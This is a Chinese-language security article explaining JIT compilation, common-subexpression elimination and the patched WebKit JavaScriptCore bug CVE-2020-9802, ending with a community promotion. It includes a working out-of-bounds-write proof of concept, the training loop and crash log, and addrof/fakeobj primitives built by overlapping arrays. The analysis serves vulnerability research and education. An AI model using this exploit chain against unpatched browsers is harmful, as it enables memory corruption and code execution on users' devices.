关于一个JIT编译器漏洞的详解
点击蓝字
本文重点介绍了在现代Web浏览器中查找和利用JavaScript引擎漏洞所涉及的技术挑战,并评估了当前的防范漏洞技术。被利用的漏洞CVE-2020-9802已在iOS 13.5中修复,而两个使用了绕过技术的漏洞CVE-2020-9870和CVE-2020-9910已在iOS 13.6中修复。
WebKit(在iOS上以及可能很快将在ARM驱动的macOS上)拥有目前最复杂的漏洞利用缓解技术,再加上PAC和APRR等漏洞缓解硬件的支持,所以WebKit或者JavaScriptCore(JSC)的JavaScript引擎成为关注的焦点也不足为奇。
本文将简要介绍JIT引擎,尤其是Common-Subexpression Elimination(CSE)的优化。讲解一个JIT编译器漏洞-CVE-2020-9802(由错误的CSE导致),以及如何利用该漏洞在JSC堆上进行越界读取或写入。
此外,我们还会详细讨论iOS上WebKit的渲染器漏洞利用缓解技术,尤其是:结构ID随机化,基于APRR的Gigacage,指针身份验证(PAC)和JIT强化(基本上是每个线程页面权限),它们的工作方式、潜在的弱点以及在漏洞利用开发过程中如何绕过它们。
本文出发点是为了让没有浏览器研究背景的安全研究人员和安全工程师也能理解。这篇文章还会尝试解释被漏洞利用各种JIT编译机制。值得一提的是,JIT编译器可能是Web浏览器最复杂的攻击界面之一(并且被利用的漏洞可能特别复杂),因此对初学者并不特别友好。但另一方面,JIT编译器中发现的漏洞也经常是最强大的漏洞,并且有很大的可能会在相当长的一段时间内保持可利用状态。
01
JIT编译器介绍
由于目前有许多关于JIT编译器的专业性文章,所以本文仅对JavaScript JITing进行简短的介绍。
考虑以下JavaScript代码:
function foo(o, y) {
let x = o.x;
return x + y;
}
for (let i = 0; i < 10000; i++) {
foo({x: i}, 42);
}
由于JIT编译成本很高,因此它只会编译重复执行的代码。 这样,函数foo将在编译器内部执行一段时间。在此期间,参数文件值将会被收集,对于foo来说,参数文件值类似于以下内容:
o: JSObject with a property .x at offset 16
x: Int32
y: Int32
后来,当优化的JIT编译器最终启动时,它首先将JavaScript源代码(或是编译器字节码)转换为JIT编译器自己的中间代码表示形式。在DFG(JavaScriptCore的优化JIT编译器)中,这是由DFGByteCodeParser完成的。
DFG IR中的函数foo是这样:
v0 = GetById o, .x
v1 = ValueAdd v0, y
Return v1
在这里,GetById和ValueAdd是相当通用的(或高级)操作,能够处理不同的输入类型(例如ValueAdd也可以连接字符串)。
接下来,JIT编译器检查参数文件值,并根据这些参数文件值推测即将使用类似的输入类型。 在上述例子中,JIT编译器将预测o是JSObject的某种类型而x和y 是Int32s数据类型。 但是,由于不能保证推测始终为真,因此编译器必须使用通常成本较低的运行实时类型检测来保护推测结果:
CheckType o,“Object with property.xat offset 16”
CheckType y, Int32
v0 = GetByOffset o, 16
CheckType v0, Int32
v1 = ArithAdd v0, y
Return v1
此外需要注意的是如何将GetById和ValueAdd专门用于更高效(且通用性较低)的GetByOffset和ArithAdd操作。在DFG中,这种推测性优化发生在多个地方,例如在DFGByteCodeParser函数中就使用推测性优化。
在这一点上,IR代码的主要目的就是保护数据类型。接下来,编译器执行大量代码优化,例如循环不变性或参数折叠。
最后,正在优化的IR代码编译为机器语言。在DFG中,这是直接由DFGSpeculativeJIT完成的,而在FTL模式下,DFG IR代码首先编译为B3(另一个IR),然后对其进行进一步的优化,然后再编译为机器代码。
02
消除重复子表达式(CSE)
此优化背后的想法是检测重复的计算式(或表达式)并将其合并为单个计算式。作为示例,考虑以下JavaScript代码:
let c = Math.sqrt(a*a + a*a);
进一步假设已知a和b是原始值(例如Numbers),那么JavaScript JIT编译器可以将代码转换为以下代码:
let tmp = a*a;
let c = Math.sqrt(tmp + tmp);
这样做可以在运行时保存一个ArithMul操作。此优化称为消除重复子表达式(CSE)。
现在,考虑以下JavaScript代码:
let c = o.a;
f();
let d = o.a;
在此,编译器无法消除CSE期间的第二个属性加载操作,因为介于两者之间的函数调用可能会更改.a属性的值。
在JSC中,一个操作是否受制于CSE(在任何环境下)是由DFGClobberize中的模板来决定的。 对于ArithMul,DFGClobberize中这样申明:
case ArithMul:
switch (node->binaryUseKind()) {
case Int32Use:
case Int52RepUse:
case DoubleRepUse:
def(PureValue(node, node->arithMode()));
return;
case UntypedUse:
clobberTop();
return;
default:
DFG_CRASH(graph, node, "Bad use kind");
}
PureValue中的def()函数表明,计算式不依赖任何环境,因此,在给定相同输入的情况下,它将始终产生相同的结果。但是注意!PureValue是由运算中ArithMode参数化的,该参数决定运算是否应处理整数溢出。在这种情况下,参数化可防止对整数溢出进行不同处理的两个ArithMul运算相互替换。 处理溢出的操作通常也称为“检查”操作,“未检查”操作是不检测或处理溢出的操作。
相反,对于GetByOffset(可用于属性加载),DFGClobberize包含:
case GetByOffset:
unsigned identifierNumber = node->storageAccessData().identifierNumber;
AbstractHeap heap(NamedProperties, identifierNumber);
read(heap);
def(HeapLocation(NamedPropertyLoc, heap, node->child2()), LazyNode(node));
本质上讲,此操作产生的值取决于属性“抽象堆”。 这样,仅当两个GetByOffset操作之间没有写入抽象堆(即写入包含属性值的内存位置)时,才消除第二个GetByOffset。
03
漏洞
DFGClobberize没有将ArithNegate操作的ArithMode考虑在内:
case ArithNegate:
if (node->child1().useKind() == Int32Use || ...)
def(PureValue(node)); // <- only the input matters, not the ArithMode
这可能导致CSE将已检查的ArithNegate替换为未检查的ArithNegate。 对于ArithNegate(一个32位的负数),整数溢出只能在一种特定情况下发生即取INT_MIN时为-2147483648。 这是因为2147483648不能表示为32位带符号整数,因此-INT_MIN导致整数溢出。
通过研究DFGClobberize中的CSE中的 def函数,会考虑到为什么使用ArithMode对某些PureValues进行参数化,然后搜索缺少该参数化的情况,发现了该漏洞。
此错误的补丁非常简单:
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
打完补丁后,CSE会将ArithNegate操作的arithMode(不管是检查过的还是未检查过的)考虑在内。这样,具有不同模式的两个ArithNegate操作将不再可以彼此替代。
除了ArithNegate,DFGClobberize还遗漏了ArithAbs操作的ArithMode。
注意!!这种类型的错误可能会很难通过模糊测试检测出来,因为模糊测试器需要创建两个ArithNegate操作,它们具有相同的输入但具有不同的ArithMode。
模糊测试器会在ArithMode的差异产生影响时才会触发,在这种情况下,这意味着它需要取反INT_MIN值。
除非引擎具有可以很早就检测出这类问题的定制的检测工具,并且除非进行了特定的模糊测试,否则模糊器仍将以某种方式将这种情况判定为违反内存安全性或程序崩溃。如下一节所示,此步骤可能是最难的,而且极不可能偶然发生。
04
越界
下面显示的JavaScript函数通过此漏洞利用一个任意索引实现了对JSArray的越界访问:
function hax(arr, n) {
n |= 0;
if (n < 0) {
let v = (-n)|0;
let i = Math.abs(n);
if (i < arr.length) {
if (i & 0x80000000) {
i += -0x7ffffff9;
}
if (i > 0) {
arr[i] = 1.04380972981885e-310;
}
}
}
}
以下是如何构造此PoC的分步说明:
首先,ArithNegate仅用于取反整数(更通用的ValueNegate操作可以取反所有JavaScript参数值),但是在JavaScript规范中,数字通常是浮点型。 因此,有必要“提示”编译器输入值将始终为整数型。 可以通过首先执行按位运算来轻松实现,计算的结果会是一个32位带符号的整型数值:
n= n|0; // n will be an integer value now
这样,现在就可以构造一个未经检查的ArithNegate操作(通过该操作以后将由CSE进行检查):
n = n|0;
let v = (-n)|0;
在这里,在DFGFixupPhase执行期间,n的取反将转换为未经检查的ArithNeg运算操作。 编译器可以省略溢出检查,因为对负值的唯一使用是按位计算,并且对于溢出的“正确”值结果相同:
js> -2147483648 | 0
-2147483648
js> 2147483648 | 0
-2147483648
接下来,有必要构造一个以n为输入的检查过的ArithNegate运算。 获得ArithNegate的一种有趣的方式是使编译器将ArithAbs操作强度降低为ArithNegate操作。 仅当编译器可以证明n为负数时,才会发生这种情况,而证明n为负数的操作是可以轻松实现的,因为DFG中Integer Range Optimization的路径易于检测,因此可以轻松实现:
n = n|0;
if (n < 0) {
// Compiler knows that n will be a negative integer here
let v = (-n)|0;
let i = Math.abs(n);
}
在这里,在字节码解析期间,对Math.abs的调用将首先被编译为ArithAbs操作,因为编译器能够证明该调用将始终导致mathAbs函数的执行,因此将其替换为ArithAbs操作,而后者具有相同的运行时语义,但在运行时不需要函数调用。 编译器实质上就是以这种方式内嵌Math.abs。接着,IntegerRangeOptimization会将ArithAbs转换为已检查的ArithNegate(必须检查ArithNegate,因为不能排除INT_MIN是否为n)。这样if语句内部的两个语句就变成了(在伪DFG IR中):
v = ArithNeg(unchecked) n
i = ArithNeg(checked) n
利用该漏洞,CSE稍后将变成
v = ArithNeg(unchecked) n
i = v
此时,调用未编译的带有参数n的函数将导致i也变为INT_MIN,而i其实应该是个正数。
这本身就是一个正确性问题,但还不是一个安全性问题。 将这个错误转化为安全问题的一种(也是唯一的方法)是滥用已经流行开的JIT优化:消除边界检查。
回到IntegerRangeOptimization阶段,i的值已被标记为正数。 但是,要进行边界检查消除,还必须知道该值小于要建立索引的数组的长度。 这很容易实现:
function hax(arr, n) {
n = n|0;
if (n < 0) {
let v = (-n)|0;
let i = Math.abs(n);
if (i < arr.length) {
arr[i];
}
}
}
而当漏洞被利用时,i会变成一个负数,因此将通过比较操作并执行数组访问。 但是,边界检查将会失效,因为Integer Range Optimization错误地(尽管从技术上讲,这不是它的错)确定i始终在边界内。
在漏洞被利用之前,必须先对JavaScript代码进行JIT编译。 通常,这可以简单地通过多次执行代码来实现。但是,如果假设访问路径在边界内的话,对arr的索引访问将被限制到CheckInBounds(稍后将被移除)和不受边界检查的GetByVal。可如果在基准JIT的编译或执行期间访问路径经常被认为是在边界外的,问题就出现了。因此,在函数的“训练”期间,必须使用合理的入站索引:
for (let i = 1; i <= ITERATIONS; i++) {
let n = -4;
if (i == ITERATIONS) {
n = -2147483648; // INT_MIN
}
hax(arr, n);
}
在JSC中运行此代码将崩溃:
lldb-/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js
(lldb) r
Process 12237 stopped
* thread#1, queue= 'com.apple.main-thread', stopreason=EXC_BAD_ACCESS(code=1,address=0x1c1fc61348)
frame #0: 0x000051fcfaa06f2e
-> 0x51fcfaa06f2e: movsd xmm0, qword ptr [rax + 8*rcx] ; xmm0 = mem[0],zero
Target 0: (jsc) stopped.
(lldb) reg read rcx
rcx = 0x0000000080000000
但是不便的是,越界索引(在rcx中)将始终为INT_MIN,因此访问数组后的0x80000000 * 8 = 16GB的空间将会被浪费。尽管是可用的,但它并不是一个最好的选择。
实现具有任意索引的OOB访问最终采取的办法是从i中减去一个常数,该常数会将INT_MIN转换为任意正数。因为i始终被DFG编译器认定为正数,减数的选取是任意的,并且溢出也不需要再去考虑。
但是,由于减法会使下边界的整数范围无效,因此之后需要执行附加的“ if i> 0”检查,以再次触发边界检查删除操作。此外,由于减法会将训练过程中使用的整数转换为越界索引,因此只有在输入值为负时才有条件执行该减法。幸运的是,DFG编译器还(至少目前)没聪明到确定该条件其实永远不会成立,以此优化减法运算:)
根据上述的所有内容,我们从头开始重新展示功能。当INT_MIN被赋给一个已经被JIT编译过的参数n时,它将导致将控制值越界写入到内存中紧接arr的JSArray的长度字段中。注意!!此步骤的成功取决于正确的堆内存分配。但是,由于该漏洞已经强大到用于受控的OOB读取,因此可以在触发内存损坏之前确保堆的内存已经合理分配了。
function hax(arr, n) {
// Force n to be a 32bit integer.
n |= 0;
// Let IntegerRangeOptimization know that
// n will be a negative number inside the body.
if (n < 0) {
// Force "non-number bytecode usage" so the negation
// becomes unchecked and as such INT_MIN will again
// become INT_MIN in the last iteration.
let v = (-n)|0;
// As n is known to be negative here, this ArithAbs
// will become a ArithNegate. That negation will be
// checked, but then be CSE'd for the previous,
// unchecked one. This is the compiler bug.
let i = Math.abs(n);
// However, IntegerRangeOptimization has also marked
// i as being >= 0...
if (i < arr.length) {
// .. so here IntegerRangeOptimization now believes
// i will be in the range [0, arr.length) while i
// will actually be INT_MIN in the final iteration.
// This condition is written this way so integer
// range optimization isn't able to propagate range
// information (in particular that i must be a
// negative integer) into the body.
if (i & 0x80000000) {
// In the last iteration, this will turn INT_MIN
// into an arbitrary, positive number since the
// ArithAdd has been made unchecked by integer range
// optimization (as it believes i to be a positive
// number) and so doesn't bail out when overflowing
// int32.
i += -0x7ffffff9;
}
// This conditional branch is now necessary due to
// the subtraction above. Otherwise,
// IntegerRangeOptimization couldn’t prove that i
// was always positive.
if (i > 0) {
// In here, IntegerRangeOptimization again believes
// i to be in the range [0, arr.length) and thus
// eliminates the CheckBounds node, leading to a
// controlled OOB access. This write will then corrupt
// the header of the following JSArray, setting its
// length and capacity to 0x1337.
arr[i] = 1.04380972981885e-310;
}
}
}
}
05
Addrof / Fakeobj
let obj = {a: 42};
let addr= addrof(obj);
// 2.211548541e-314 (0x000000010acdc250 as 64bit integer)
let obj2 = fakeobj(addr);
let obj2 === obj;
// true
可以使用两个具有不同存储类型的JSArray来构造这两个基础类型:通过将存储双精度型的JSArray与存储JSValues的JSArray叠加来构造
然后,这允许通过float_arr将obj_arr中的指针值读/写为双精度型数值:
let noCoW = 13.37;
let target = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
let float_arr = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
let obj_arr = [{}, {}, {}, {}, {}, {}, {}];
// Trigger the bug to write past the end of the target array and
// thus corrupting the length of the float_arr following it
hax(target, n);
assert(float_arr.length == 0x1337);
// (OOB) index into float_arr that overlaps with the first element
// of obj_arr.
const OVERLAP_IDX = 8;
function addrof(obj) {
obj_arr[0] = obj;
return float_arr[OVERLAP_IDX];
}
function fakeobj(addr) {
float_arr[OVERLAP_IDX] = addr;
return obj_arr[0];
注意!!noCoW变量的使用有些不直观。 它是用来防止JSC将数组分配为写时复制数组,否则将导致错误的堆内存分配。
我们是谁:
安定坊是一个由白帽安全攻防爱好者组成的社群,这里有很多的爱好者交流与分享国内外前沿的安全攻防技术、国际安全事件、工具等。
扫描下方小助手二维码即可进群获得最新免费安全工具,一手国际安全资讯和国内外安全教材完整版PDF哦!
小助手二维码在这里!